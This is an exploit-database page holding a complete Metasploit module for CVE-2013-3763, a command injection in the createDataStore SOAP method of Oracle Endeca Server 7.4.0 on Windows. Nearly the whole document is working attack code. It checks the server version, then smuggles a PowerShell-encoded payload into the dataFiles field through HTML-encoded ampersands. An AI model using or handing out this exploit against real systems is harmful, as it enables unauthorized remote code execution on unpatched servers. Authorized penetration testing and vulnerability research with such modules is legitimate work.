Oracle Endeca Server Remote Command Execution Vulnerability



EKU-ID: 3451 CVE: 2013-3763 OSVDB-ID: 95269
Author: rgod Published: 2013-08-26 Verified: Verified
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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
  
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell
  
  def initialize
    super(
      'Name'          => 'Oracle Endeca Server Remote Command Execution',
      'Description'   => %q{
        This module exploits a command injection vulnerability on the Oracle Endeca
        Server 7.4.0. The vulnerability exists on the createDataStore method from the
        controlSoapBinding web service. The vulnerable method only exists on the 7.4.0
        branch and isn't available on the 7.5.5.1 branch. On the other hand, the injection
        has been found to be Windows specific. This module has been tested successfully
        on Endeca Server 7.4.0.787 over Windows 2008 R2 (64 bits).
      },
      'Author'      => [
        'rgod <rgod[at]autistici.org>', # Vulnerability discovery
        'juan vazquez' # Metasploit module
      ],
      'Platform'    => 'win',
      'Arch'        => [ ARCH_X86_64, ARCH_X86 ],
      'References'  =>
        [
          [ 'CVE', '2013-3763' ],
          [ 'BID', '61217' ],
          [ 'OSVDB', '95269' ],
          [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-190/' ],
          [ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpujuly2013-1899826.html' ]
        ],
      'Targets'     =>
        [
          [ 'Oracle Endeca Server 7.4.0 / Microsoft Windows 2008 R2 64 bits', { } ]
        ],
      'DefaultTarget'  => 0,
      'Privileged'     => false,
      'DisclosureDate' => 'Jul 16 2013'
    )
  
    register_options(
      [
        Opt::RPORT(7770),
        OptString.new('TARGETURI', [true, 'The URI path of the Control Web Service', '/ws/control'])
      ], self.class)
  end
  
  def peer
    return "#{rhost}:#{rport}"
  end
  
  def version_soap
    soap = <<-eos
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="http://www.endeca.com/endeca-server/control/1/0">
   <soapenv:Header/>
   <soapenv:Body>
      <ns:version/>
   </soapenv:Body>
</soapenv:Envelope>
    eos
  
    return soap
  end
  
  def create_data_store_soap(name, files)
    soap = <<-eos
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="http://www.endeca.com/endeca-server/control/1/0">
   <soapenv:Header/>
   <soapenv:Body>
      <ns:createDataStore>
         <ns:dataStoreConfig>
            <ns:name>#{name}</ns:name>
            <ns:dataFiles>#{files}</ns:dataFiles>
         </ns:dataStoreConfig>
      </ns:createDataStore>
   </soapenv:Body>
</soapenv:Envelope>
    eos
  
    return soap
  end
  
  def check
  
    res = send_request_soap(version_soap)
  
    if res.nil? or res.code != 200 or res.body !~ /versionResponse/
      return Exploit::CheckCode::Safe
    end
  
    version_match = res.body.match(/<serverVersion>Oracle Endeca Server ([0-9\.]*) /)
  
    if version_match.nil?
      return Exploit::CheckCode::Unknown
    else
      version = version_match[1]
    end
  
    print_status("#{peer} - Version found: Oracle Endeca Server #{version}")
  
    if version =~ /7\.4\.0/ and version <= "7.4.0.787"
      return Exploit::CheckCode::Vulnerable
    end
  
    return Exploit::CheckCode::Safe
  
  end
  
  def send_request_soap(data)
    res = send_request_cgi({
      'uri'     => normalize_uri(target_uri.path),
      'method'  => 'POST',
      'ctype'   => 'text/xml; charset=utf-8',
      'headers' =>
        {
          'SOAPAction'     => "\"\""
        },
      'data'    => data
    })
  
    return res
  end
  
  def exploit
    command = cmd_psh_payload(payload.encoded)
    if command.length > 8000
      # Windows 2008 Command Prompt Max Length is 8191
      fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command")
    end
    print_status("#{peer} - Exploiting through Powershell...")
    execute_command(command)
  end
  
  def execute_command(cmd)
    # HTML encode ampersands so SOAP is correctly interpreted
    cmd.gsub!(/&/, "&#x26;")
    injection = "c:\\&#x22;&#x26; #{cmd} &#x26;&#x22;"
    exploit_data = create_data_store_soap(rand_text_alpha(4), injection)
    begin
      res = send_request_soap(exploit_data)
      if res.nil? or res.code != 500 or ( res.body !~ /Error creating data files at/ and res.body !~ /Data files don't exist/ )
        print_status("#{res.code}\n#{res.body}") if res
        fail_with(Failure::UnexpectedReply, "#{peer} - Unable to execute the CMD Stager")
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Unable to connect")
    end
  end
  
end